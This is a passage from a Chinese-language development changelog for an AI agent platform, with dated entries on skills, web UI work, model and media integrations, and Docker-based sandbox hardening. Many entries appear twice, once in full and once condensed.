- **Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 修**:mp-api 依赖链 `from typing import NotRequired`(3.11+)在 3.10 import 不进;选 3.12(ML 生态默认 + wheel 覆盖全)。顺手修 `executor_docker` PYTHONPATH `/workspace`→`/sandbox:/workspace`(docker backend 下 `import skills.xxx` 找不到的历史 bug)。3 科学 skill smoke A/B/C 通过,D 因 MP 封 IP 返 403。
|
||||
- **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub)**:服务无机非金属材料 R&D。pymatgen 带 `CEMENT_PHASES` 中英文相名映射 50+;stats_ml 纯指南(sklearn / statsmodels / PyMC 场景导航,无 helper);plot_pub 带 `apply_pub_style()` 出版级中文字体跨平台 fallback。挑 4 个 ★★★ fork 单装,不一键装 138 个。
|
||||
- **DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段**:① image 大 ≠ 吃更多 RAM(layer 共享);② 多 user 瓶颈在并发 exec 不在 idle 容器数;③ 新增依赖走"base 收敛 + per-user 持久化 venv + 使用频次沉淀"。
|
||||
- **`skills/review/SKILL.md` 加「长文档处理」段**:阶段 1 骨架扫描(停下等用户挑章节)→ 阶段 2 分章深审 + 中间文件落盘。
|
||||
- **新增 `config/models/local.yaml`(family=local,r1/qwen3)接内网 OpenAI 兼容服务,涉密专用**:关键 `thinking_mode=false`(R1/Qwen3 天生推理,发 reasoning_effort 本地 vLLM 多半 400);不改默认模型。qwen3 跑通,r1 调试中。
|
||||
- **修 `LoadSkillTool` 在 docker backend 返 host 绝对路径**:加 `container_skills_dir` 参数,docker 时返 `/sandbox/skills/<name>`,references-heavy skill 自动 work。
|
||||
- **新增 `analyze` skill(科学问题分析/拆解/引导)**:四段式 PICO→Issue Tree→分支(Fishbone/First-principles+TRIZ/DoE)→路线图,定位协调器不执行任务,接力下游 skill。
|
||||
- **Python 3.10→3.12 升级(host + Dockerfile)**:mp-api 依赖链 `NotRequired`(3.11+)在 3.10 import 不进;顺手修 `executor_docker` PYTHONPATH `/workspace`→`/sandbox:/workspace`。
|
||||
- **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub)**:服务无机非金属材料 R&D。pymatgen 带 `CEMENT_PHASES` 中英文相名映射 50+;stats_ml 纯指南;plot_pub 带 `apply_pub_style()` 出版级中文字体 fallback。挑 4 个 ★★★ fork 单装。
|
||||
- **DESIGN §7.5 增「image 体积 / 多 user 资源 / 后续加包策略」决策段**:① image 大 ≠ 吃更多 RAM(layer 共享);② 多 user 瓶颈在并发 exec 不在 idle 容器;③ 新增依赖走「base 收敛 + per-user 持久化 venv + 使用频次沉淀」。
|
||||
|
||||
### 2026-05-27
|
||||
|
||||
- **ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则**:"汇报方案"仍被路由命中(LLM 把"汇报"联想成 PPT)。把"汇报 / 方案 / 材料"从反例摘出,改成先反问用户"PPT 还是文档",并把原则升格到 system prompt 让新 skill 继承。
|
||||
- **ppt skill description 收紧路由**:原文含"方案 / 生成"被误命中,改显式白名单(PPT / 幻灯片 / .pptx / slide / deck)+ 显式反例(报告 / 文档 / 纪要不触发)。
|
||||
- **skill 热更新:`/v1/skills` 每次现扫**:原 lifespan 启动扫一次的静态快照 → 加新 skill 须重启。改每次现扫(构造 ~3ms,非热路径);`build_agent` 早已每次重建 registry,本次仅补前端下拉这一处。
|
||||
- **dev SPA "导出对话记录" / "清空对话"按钮改成只要选中 task 就常亮**:原按 `n_messages===0` 禁用,清空后前端计数不刷致两键一直灰。改导出常亮、清空仅在 run 进行时禁;0 条时点也不会出错。
|
||||
- **修 dev SPA embed + task_id 模式模型下拉不显示**:embed 带 task_id 时 `selectTask` 早于 `loadModels` resolve,`renderModelDropdown` 空 models 直接返空。`loadModels` 尾部加一行:若已有 task 选中则补一次 chat-meta 重渲。
|
||||
- **Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化**:① `agent.yaml` sandbox 段(memory/cpus/pids,env>yaml>默);② migration 0008 + `core/storage/disk_quota.py` 周期扫描 + write/upload gate(race-tolerant);③ 去 `--internal`(dogfood 能 pip install)+ `/etc/pip.conf` `/etc/npmrc` 让运行时也走 mirror。iptables 红线不动。Step 4 完整 egress proxy 延后到外部开放前(沉淀为升级触发信号)。
|
||||
- **Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写**:dogfood 发现 host 工具 base_dir=`Path.cwd()` 漏底(模型 glob 列出 zcbot 源码),且原 DESIGN 写的 `resolve_user_path` 是假命题根本没那函数。选"物理边界替代代码护栏"走 docker exec,`tool_runner.py` 从 stdin 接 JSON args(CJK 路径透明传)。留 host:load_skill / web_* / seedream / seedance(持 key 或跨 user)。
|
||||
- **Stage C Step 3 hotfix:exec_user 改 username + Dockerfile 加 Node/Chromium/mermaid-cli**:① 写死 `--user 1000:1000` 与 bind mount owner(host uid 1001)错配致 EACCES,改 username `zcbot` 让 docker 查 passwd;② proposal/patent 渲 mermaid 缺 Node 退公网 API 又被 `--internal` 堵,Dockerfile 加 chromium/nodejs/npm + mermaid-cli + puppeteer `--no-sandbox` config。
|
||||
- **Stage C Step 5:`main.py sandbox check` 部署前置对账 + lifespan fs quota WARN**:5 项探测(docker daemon / 镜像 / network / 镜像内 uid 与 host 对齐 / workspace fs 可 quota)。err = 启动会 fail-fast 的根因(daemon/镜像/uid,exit 1);warn = 外部开放前要清(network 缺 / fs 不可 quota,exit 0)。`detect_fs_quota` 抽出给 lifespan 复用。
|
||||
- **Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(`ZCBOT_SANDBOX_BACKEND=host|docker` env 切)**:shell / run_python 走 `docker exec`,其他工具直通 host;run_python tmp .py 落 `<user_root>/.zcbot_tmp/` dotfile(`/v1/files` 天然过滤)。cancel 杀 docker CLI 不杀容器内进程,靠 idle reaper 兜底。pool.py `asyncio.Lock`→`threading.Lock`。Windows dogfood 默 host 零变化。
|
||||
- **Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 基底,未接入 AgentLoop)**:`deploy/sandbox/{Dockerfile,init.sh}`(non-root + 任一 iptables 失败 fail-fast + 6 段红线 DROP)+ `core/sandbox/{network,pool}.py`(`--internal` 网络 + per-user 容器 ensure/reap/shutdown + hardening flags `--read-only --cap-drop=ALL --memory=2g` 等)。docker CLI via subprocess 非 SDK;last_active 落内存 dict(Docker 23+ 移除 runtime label 改)。
|
||||
- **Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5)**:`core/executor.py` `Executor` ABC + `ExecCtx` + `ToolResult`,`AgentLoop` 改接 executor 而非 tools dict。接口刻意 backend 无关(不泄漏 docker 假设),Step 3 切 docker 时 AgentLoop 零改动。
|
||||
- **REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill)**:`<task_dir>/REVISIONS.md` 紧凑 changelog —— spec=宪法(定调一次),REVISIONS=实施日志(每次卡点累加)。三 skill 各加"用户确认实质改动后追加一行" + 独立小节;单行 bullet 倒序追加,首次起草 / 错别字微调 / 模型自撤不记。
|
||||
- **新增 patent skill(中国发明专利技术交底书)**:`skills/patent/` 6 文件,五阶段 workflow(摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,同 proposal BLOCKING 节奏)。复用 markitdown / proposal 的 render_diagrams+render_docx / web_search+documents+research,不造 CNIPA 爬虫,源 repo 8 Python tools 减到 0。
|
||||
- **§7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议)**:网络 blocklist 硬编码(含 PG IP 单独再 block)/ egress proxy 模型 / 进程组清理(setsid + PGID kill)/ 磁盘配额硬化时点 / Executor backend driver / 工具按信任域二分 dispatch;并写死 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号,反向兜底"无信号不升级"。
|
||||
- **ppt skill 歧义反问 + general_v1 加「产物形式歧义先问」通用原则**:「汇报方案」被误路由成 PPT,改先反问「PPT 还是文档」并升格到 system prompt 让新 skill 继承。
|
||||
- **ppt skill description 收紧路由**:改显式白名单(PPT/幻灯片/.pptx/slide/deck)+ 显式反例(报告/文档/纪要不触发)。
|
||||
- **skill 热更新:`/v1/skills` 每次现扫**:原启动扫一次须重启;改每次现扫(~3ms)。
|
||||
|
||||
### 2026-05-25
|
||||
|
||||
- **dev SPA 前端依赖 CDN 本地化 + 升级稳定版**:markdown 渲染(`marked@16.2.1` / `dompurify@3.2.6` / `highlight.js@11.11.1`)从 jsDelivr 改本地 `vendor/`,避免内网 / 跨境 CDN 抖动致渲染 / sanitizer 不可用;`tests/test_static_vendor.py` 回归检查 HTML 无 `cdn.jsdelivr.net` + vendor 文件存在。
|
||||
- **dev SPA 一批上传 / 布局交互打磨(同质合并)**:三类上传入口(粘贴 / 按钮 / 拖拽)改 `XMLHttpRequest` 显进度 + 粘贴上传 chip 可预览(`#mini-preview-modal` 不覆盖主预览)可删除;三栏支持右栏折叠 + 左右分隔线拖拽调宽(localStorage 持久化);右侧文件长名 hover 显全路径;左栏滚动条只覆盖 task 列表(IntersectionObserver root 移到 `#task-scroll`)。
|
||||
- **接入博查 Web Search + Web Fetch 两个 tool**:`tools/web_search.py`(Bocha POST `/v1/web-search`,Bearer)+ `tools/web_fetch.py`(httpx + html2text,SSRF 内网屏蔽,截断 8000);web_fetch 无条件挂,web_search 仅 env 有 `BOCHA_API_KEY` 时挂。
|
||||
- **dev SPA 前端依赖 CDN 本地化 + 升级稳定版**:markdown 渲染(marked/dompurify/highlight.js)从 jsDelivr 改本地 `vendor/`,避免内网/跨境 CDN 抖动;`test_static_vendor.py` 回归。
|
||||
- **dev SPA 一批上传/布局交互打磨**:三类上传入口改 XHR 显进度 + 粘贴 chip 可预览可删;三栏右栏折叠 + 分隔线拖拽调宽(LS 持久化)。
|
||||
- **接入博查 Web Search + Web Fetch**:`web_search.py`(Bocha,仅 env 有 key 挂)+ `web_fetch.py`(httpx + html2text,SSRF 内网屏蔽)。
|
||||
|
||||
### 2026-05-22
|
||||
|
||||
- **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=...`)**:父页 postMessage 握手拿 JWT(`zcbot-ready` → 父端用 `PLATFORM_KEY` 换 token → `zcbot-token` 推回),`event.origin` 白名单双向校验,`PLATFORM_KEY` 不下发浏览器;藏 brand / 顶栏 / 退出。401 发 `zcbot-401` 等父端重换 token。`web/EMBED.md` 对接手册。
|
||||
- **embed 模式接受 `task_id` URL 参数定位 task**:首次签发 token 后 `selectTask`,`once` 标记只生效一次(401 重签不重置用户中途切的 task);task_id 错或不属于当前 user 走原 401/404 分支。
|
||||
- **媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频)**:`quotas` 段 + `check_daily_quota` 按服务器本地今日 00:00 计;tool 超额返中文提示不调远端不烧钱。跨 task 跨 variant 账号级合计,失败不计,软上限不加事务锁。tool 返串只暴露已用 / 上限 + 重置时间,不贴 yaml 路径(防 LLM 复述泄漏内部 schema)。
|
||||
- **对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容)**:`general_v1.md` 规定助手 echo 产物路径用 user_root 相对全形式 `<wd_name>/<rel>`(简写致 Web UI chip 失效),跨所有产物 skill 统一;imagegen/videogen SKILL 改"照抄 saved 行";`dev.html::extractArtifactRels` 一次性兼容历史简写。术语用 `<wd_name>`(working_dir 末段)而非 `<task_name>`(允许两者不等)。
|
||||
- **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`config/media/doubao.yaml` video 段 + `tools/seedance.py`(ark 建任务 → 5s 轮询 → download mp4,失败 / cancel 不计费);`build_agent` 加 `video_variant` + `cancel_check`(build 阶段传,轮询期响应停止);`web/app.py` + `dev.html` 第三下拉。skill 六维诊断把"光线"换成"运动 + 镜头",BLOCKING 门槛更严(¥4 vs ¥0.22)。phase 1 仅 t2v,fast 上限 720p。
|
||||
- **dev SPA 移动端自适应 + 交互打磨(同质合并)**:手机两档断点(平板 rail / 手机单列 + `.mobile-tabs` 切 pane,`100vh→100dvh` 解 iOS、输入 ≥16px 防 focus 缩放)+ 顶栏 / chat-meta 紧凑化;"+ 新建任务"按钮从 header 挪到任务面板通栏;chat-input 支持 Ctrl+V 粘贴文件上传;文件预览弹框让出 chat-form 高度(打开期输入区仍可点可打字)。
|
||||
- **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=`)**:父页 postMessage 握手拿 JWT,`event.origin` 双向白名单,`PLATFORM_KEY` 不下发浏览器;`web/EMBED.md` 对接手册。
|
||||
- **embed 模式接受 `task_id` URL 参数定位 task**:首次签发后 `selectTask`,`once` 标记只生效一次(401 重签不重置用户中途切的 task)。
|
||||
- **媒体生成每账号每日配额(yaml 可配,默 20 图/5 视频)**:`check_daily_quota` 按服务器本地今日计,超额返中文提示不烧钱;tool 返串不贴 yaml 路径防泄漏 schema。
|
||||
- **对外路径协议刚性化**:`general_v1.md` 规定助手 echo 产物路径用 user_root 相对全形式 `<wd_name>/<rel>`(简写致 chip 失效),跨产物 skill 统一;UI 一次性兼容历史简写。
|
||||
- **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`tools/seedance.py`(ark 建任务→轮询→download mp4,失败/cancel 不计费);build_agent 加 `video_variant` + cancel_check;skill BLOCKING 门槛更严(¥4 vs ¥0.22)。phase 1 仅 t2v,fast 上限 720p。
|
||||
- **dev SPA 移动端自适应 + 交互打磨**:手机两档断点(平板 rail / 手机单列 `.mobile-tabs`,`100dvh` 解 iOS、输入 ≥16px 防缩放);chat-input 支持 Ctrl+V 粘贴上传。
|
||||
|
||||
### 2026-05-21
|
||||
|
||||
- **dev SPA UI 打磨(同质合并)**:修 primary 按钮 hover 文字消失(`.primary:hover` 补 `background:var(--accent)`,原 fallback 到浅灰 + 白字消失);CSS 精简 + 圆角降档 + 4 个 modal 抽 `.modal` 基类(style 块 589→522 行,功能 0 改);新建任务弹窗 / 顶部 filter 工作目录回原生 `<select>` + sentinel `+ 新建「<name>」` + 二级 input(combobox 方案试过又推翻 —— 原生 select 更稳)。
|
||||
- **sandbox 阻塞地位写进 DESIGN(§7.7 hard prereq / §7.8 风险行 / §7.9 取舍)**:`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(命令注入图灵完备,黑名单 fundamentally broken),不继续加规则。正确防线在 OS 层 §7.5(docker exec + drop ALL caps + read-only + egress allowlist)。本地 dogfood blast radius 限自身;SaaS 外部开放才是 hard prereq。
|
||||
- **system prompt 注入 task 预选 skill 提示**:`_build_system_prompt` 加 `task_skill` 参数,非空时加一行事实,与 general_v1 已有"对应 skill 先 load"规则组合 → 主动 load。否决"完整 SKILL.md 预注入"(把 skill 从 metadata 升格成 binding,投产比不划算)。
|
||||
- **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt + BLOCKING 等确认硬约束**:清楚的描述也可能模型与用户脑里对不上,事后看图才发现白烧 ¥0.22 —— 把"模型脑内装配"摊到对话层让用户最后过一眼(装配 ≠ 授权调用)。诊断五维 → 六维加"比例 / 尺寸";`general_v1` 改"调 seedream 前必须先 `load_skill('imagegen')`",description 扩 17 触发词。
|
||||
- **新增 imagegen skill(引导用户说清楚生图需求)**:单文件五步法(诊断模糊度 → 给推断 + 待确认 → 用户拍板 → 装配 prompt → 调 seedream),防一句"画个 XX"直接烧 ¥0.22;mermaid vs seedream 选型三段式。
|
||||
- **登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示**:`web/auth.py::create_user`(CLI / web 共用)+ `POST /v1/auth/admin/create_user` 校验 `ZCBOT_ADMIN_TOKEN` 共享口令。否决 User 表加 `is_admin` 列 + 管理员 JWT(开发期成本不划算)。
|
||||
- **新增 documents skill(内部材料学科知识库 document_search API)**:`skills/documents/{SKILL.md, client.py}` 四函数,Bearer 认证;search 返整篇 Markdown(50K-200K 字符),反模式约束只 print 前 300 字防爆上下文。库实为 7 材料学科英文学术论文 21W+ 文件 + 跨语言语义检索(原写"主语料中文"是错的);与 research(OpenAlex)互补。
|
||||
- **dev SPA SSE 客户端重连(覆盖 --reload 抖动)**:`fetchSse` 拆 consume + 重连壳(1/2/4s 退避 ×3);后端 `stream_events` 入口检 run_status,非 running 立即吐 done 关流(防进程重启后无限挂 ping)。断开期 LLM delta 丢失,接受。
|
||||
- **research skill fetch_pdf 改走静态直链**:从 `paper["pdf_url"]` 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5。
|
||||
- **research skill list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引**:后端拼直链(避免 stale URL),GIN 把 `?search` 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"(已结构化免 OCR)。
|
||||
- **顶栏 token 累计修(`sync_task_tokens` 改走 messages SUM)**:切 streaming 后内存计数器永不更新,删 TokenCounter 类改 `SELECT SUM(...) FROM messages` 现算,backfill 4 task。
|
||||
- **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款"信任 + 软警告",`selectTask` + SSE 收尾拉同 wd running task 黄底提示。否决硬挡 / short_id 全产物隔离 / clone task 三方案(DESIGN §7.9)。
|
||||
- **paper_server → research skill**:范式判断走 skill(非 tool / MCP / 裸 httpx),`skills/research/{SKILL.md, paper.py}` 三函数;`run_python` 注入 `PYTHONPATH=base_dir`;paper_server 补 retrieve 端点 + serializer 加 abstract。
|
||||
- **dev SPA UI 打磨**:修 primary 按钮 hover 文字消失;4 个 modal 抽 `.modal` 基类(style 589→522 行);新建任务/filter 工作目录回原生 `<select>` + sentinel + 二级 input(combobox 试过推翻)。
|
||||
- **sandbox 阻塞地位写进 DESIGN(§7.7/§7.8/§7.9)**:`shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(命令注入图灵完备),不继续加规则;正确防线在 OS 层 §7.5。本地 dogfood blast radius 限自身;SaaS 外部开放才 hard prereq。
|
||||
- **system prompt 注入 task 预选 skill 提示**:`_build_system_prompt` 加 `task_skill` 参数,与 general_v1「对应 skill 先 load」组合 → 主动 load。否决完整 SKILL.md 预注入。
|
||||
- **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt + BLOCKING 等确认**:把模型脑内装配摊到对话层让用户最后过一眼防白烧 ¥0.22;诊断五维→六维加比例/尺寸。
|
||||
- **新增 imagegen skill**:单文件五步法(诊断模糊度→给推断+待确认→拍板→装配 prompt→调 seedream);mermaid vs seedream 选型三段式。
|
||||
- **登录页加「管理员添加用户」入口 + 删 chat meta 条/tok 显示**:`create_user`(CLI/web 共用)+ `POST /v1/auth/admin/create_user` 校验 `ZCBOT_ADMIN_TOKEN`。否决 User 表加 is_admin 列。
|
||||
- **新增 documents skill(内部材料学科知识库 document_search API)**:四函数 Bearer 认证,search 返整篇 Markdown,反模式约束只 print 前 300 字防爆上下文;库=7 材料学科英文论文 21W+ 文件 + 跨语言语义检索;与 research(OpenAlex)互补。
|
||||
- **dev SPA SSE 客户端重连**:`fetchSse` 拆 consume + 重连壳(1/2/4s 退避 ×3);后端 `stream_events` 入口检 run_status 非 running 立即吐 done 关流。
|
||||
- **research skill fetch_pdf 改走静态直链 + list 端点加直链 + pg_trgm GIN 索引**:绕开 paper_pdf_view 路径 bug;`?search` 30s→几十 ms;SKILL 加「XML 优先 PDF」。
|
||||
- **顶栏 token 累计修(`sync_task_tokens` 改走 messages SUM)**:切 streaming 后内存计数器永不更新,改现算 + backfill。
|
||||
- **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款「信任 + 软警告」;否决硬挡/short_id 全产物隔离/clone task(DESIGN §7.9)。
|
||||
- **paper_server → research skill**:范式判断走 skill(非 tool/MCP/裸 httpx),`skills/research/{SKILL.md,paper.py}` 三函数。
|
||||
|
||||
### 2026-05-20
|
||||
|
||||
- **dev SPA artifact chip 演进(同质合并)**:对话内 tool_call/result 挂产物 chip,`extractArtifactRels` 正则锚 `<wd>/...` + 末段需含 `.`;门控多次校准后落到产物工具白名单 `ARTIFACT_PRODUCING_TOOLS={seedream,seedance}`(通用工具 echo 路径不误挂),assistant 正文不门控走 `seenRels` 去重 + `allowInlineMedia` 防同图二次 inline;`.art-chip` 点击委托 `openFilePreview`。
|
||||
- **CLAUDE.md 加"实施前先对方案"段**:非平凡改动动手前先口头对方案。
|
||||
- **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本有 `name`,缺它致历史回放无 banner / chip,一行 fix + 幂等回填 17 条。
|
||||
- **dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮**:`POST /v1/tasks/{id}/optimize_prompt` 走 task model_profile 装配 LLM(meta-prompt 含当前模型 + image variant),计费 `kind=prompt_optimize`,**不**调 `sync_task_tokens` 不污染顶栏。
|
||||
- **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml image 段,`build_agent(image_variant=...)` 装 SeedreamTool;`renderArtifactBarHtml` 按 `_categorize` image/video 走 blob URL inline,切 task 回收 blob。
|
||||
- **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `litellm.stream_chunk_builder` 拼回,chunk 间 poll cancel;前端打字机靠 `_emit("text", delta=...)`;`#chat-action` 按 `state.streaming` 切三态。
|
||||
- **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=... · size=... · cost=¥... · elapsed=...s`,前端正则 parse 挂折叠态徽章。
|
||||
- **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`config/media/doubao.yaml` 独立命名空间(`ARK_API_KEY`),`tools/seedream.py` 走 `ark_client` 调 `/images/generations`,产物落 `<wd>/figures/`;`record_image_usage` snapshot 单价进 units(调价防漂移);0007 全表 ×7.2 折 CNY;仅 ARK_API_KEY 设了才挂。
|
||||
- **`POST /v1/files/delete` 加 `recursive` + 顶层目录 task 引用闸**:`recursive=True` 走 `shutil.rmtree`;顶层目录被 task 引用 → 409"先 DELETE task 再清"。
|
||||
- **fs tool 输出渲染 user_root-relative 路径**:`tools/base.py::Tool` 加 `user_root` + `_display(p)` helper,fs 五 tool 走 helper;chip 锚点取末段。消 chip 404 + 防 uuid / 部署根泄漏。
|
||||
- **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running 状态 + DELETE messages + reset task 三列累计 + run_status='idle';**usage_events 全不动**(账单 source of truth)。
|
||||
- **dev SPA artifact chip 演进**:对话内 tool_call/result 挂产物 chip,门控落到产物工具白名单 `ARTIFACT_PRODUCING_TOOLS={seedream,seedance}`,assistant 正文走 seenRels 去重 + allowInlineMedia 防二次 inline。
|
||||
- **CLAUDE.md 加「实施前先对方案」段**。
|
||||
- **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本有 name,缺它致历史回放无 banner/chip。
|
||||
- **dev SPA 输入区删上传按钮 + 加「✨ 润色」按钮**:`POST /v1/tasks/{id}/optimize_prompt` 走 task model 装配 LLM,计费 `kind=prompt_optimize` 不污染顶栏。
|
||||
- **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml,`build_agent(image_variant=)`;`renderArtifactBarHtml` 走 blob URL inline,切 task 回收 blob。
|
||||
- **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `stream_chunk_builder` 拼回,chunk 间 poll cancel;前端打字机靠 emit text delta。
|
||||
- **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=...· cost=¥...`,前端正则 parse 挂折叠徽章。
|
||||
- **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`tools/seedream.py` 走 ark_client,产物落 `<wd>/figures/`;0007 全表 ×7.2 折 CNY;仅 ARK_API_KEY 设了才挂。
|
||||
- **`POST /v1/files/delete` 加 `recursive` + 顶层目录 task 引用闸**:recursive 走 rmtree;顶层目录被 task 引用 → 409。
|
||||
- **fs tool 输出渲染 user_root-relative 路径**:`Tool` 加 `user_root` + `_display(p)`,消 chip 404 + 防 uuid/部署根泄漏。
|
||||
- **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running + DELETE messages + reset 三列累计;usage_events 全不动(账单 source of truth)。
|
||||
|
||||
### 2026-05-19
|
||||
|
||||
- **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 即换(下条 send 生效);`GET /v1/models` 扫 yaml;message 历史按 `messages.model_profile` 切换点画 `── DeepSeek V4 Pro ──`;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。
|
||||
- **dev SPA 登录撤回 邮箱+密码,删 invites 表**:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt;`/v1/auth/login_password` + `user add` CLI;dev SPA 双 tab 登录(last-used LS 持久化)。
|
||||
- **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删;`build_agent` 加 `*` 让 user_id 必填(typechecker 拦多 user 函数)。
|
||||
- **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(`#floating-menu` position:fixed)避开 pane overflow 裁剪;`tool_result` 事件 debounce 500ms 刷新文件 panel。
|
||||
- **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + `/v1/files/download` 加 `Cache-Control: no-cache`**:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加四条(figures 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名)。
|
||||
- **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。
|
||||
- **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 下条 send 生效;message 历史按 `messages.model_profile` 画切换点;usage_events 重建多态形态(units jsonb,chat 已接入)。
|
||||
- **dev SPA 登录撤回邮箱+密码,删 invites 表**:「邀请码 env→invites 表」一日游撤回;复用 users.email + bcrypt;dev SPA 双 tab 登录。
|
||||
- **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;CASCADE 删 + 10 处代码删;`build_agent` 加 `*` 让 user_id 必填。
|
||||
- **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(position:fixed)避 pane overflow 裁剪;tool_result debounce 500ms 刷新文件 panel。
|
||||
- **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截**:模型曾写满 ASCII 字符画;render_diagrams caption 强制必填+唯一,quality_check 加四条;`/v1/files/download` 加 `Cache-Control: no-cache`。
|
||||
- **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md + docx-preview + SheetJS);vendor 入 git(~1MB)。
|
||||
|
||||
### 2026-05-18
|
||||
|
||||
- **入口归位:`cli.py`→`main.py`,原 `main.py`→`core/agent_builder.py`,删 CLI REPL,§7 E 撤**:`main.py` 原混三角色按 SoC 拆;`git mv` + 5 处 import 修;CLI 只剩 `db / probe / web / user`。dev SPA 已是 dogfood 主路径,REPL 无 `--remote` 双 transport 维护税。
|
||||
- **0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status / run_error 入 tasks;路由 run_id → task_id**:单活 run 形态下客户端只需 task_id;broker 全 task_id 索引 + 加 `start(task_id)` 清上轮 done 标记。
|
||||
- **`POST /v1/files/rename` + 顶层目录 delete 加 task 引用闸**:`/v1/files/*` 升格为唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + running/cancelling 409 + check_no_subtask + UPDATE 先于 FS rename)。
|
||||
- **task-level cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮**:Broker 加 `request_cancel / is_cancelled / clear_cancel`(per-task `threading.Event` + setdefault);Loop 加 `cancel_check` callable + `_fill_cancelled_tool_results` 补 cancelled tool message;LLM 同步 call 本身不可中断(后接 streaming 修)。
|
||||
- **`POST /v1/tasks/{id}/messages` 单活 run 锁 + 孤儿 reaper**:同事务 `SELECT FOR UPDATE` + 活跃状态检查 + 标 running 三步原子;lifespan reaper 清进程 crash 留下的 running/cancelling 孤儿。
|
||||
- **proposal skill 流程图/结构图管线**:`render_diagrams.py` 扫 mermaid 块 → mmdc / mermaid.ink → png;render_docx `add_picture` 识别 `` 单行 + mermaid 围栏特判;图编号 `ctx['fig_no']` 递增。
|
||||
- **system prompt skill 机制改"可选辅助"**:第 14 行从"永远 load 一下"改"简单问答/读代码/改 bug 不必硬套 skill";接 GET /v1/skills 下拉。
|
||||
- **`GET /v1/skills` + dev SPA skill 字段改下拉**:lifespan 启动扫一次挂 `app.state`(FS 静态运行中不变);`<select>` 首项空值,option 文案 `name — description`。
|
||||
- **dev SPA 全套 UI 中文化**:静态 + 动态文案全本地化;技术字段(UUID / token / SSE event 名 / API 字段)不动。
|
||||
- **入口归位:`cli.py`→`main.py`,原 `main.py`→`core/agent_builder.py`,删 CLI REPL,§7 E 撤**:`main.py` 原混三角色按 SoC 拆,CLI 只剩 `db/probe/web/user`;dev SPA 已是 dogfood 主路径,REPL 无双 transport 维护税。
|
||||
- **0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status/run_error 入 tasks;路由 run_id→task_id**:单活 run 形态客户端只需 task_id。
|
||||
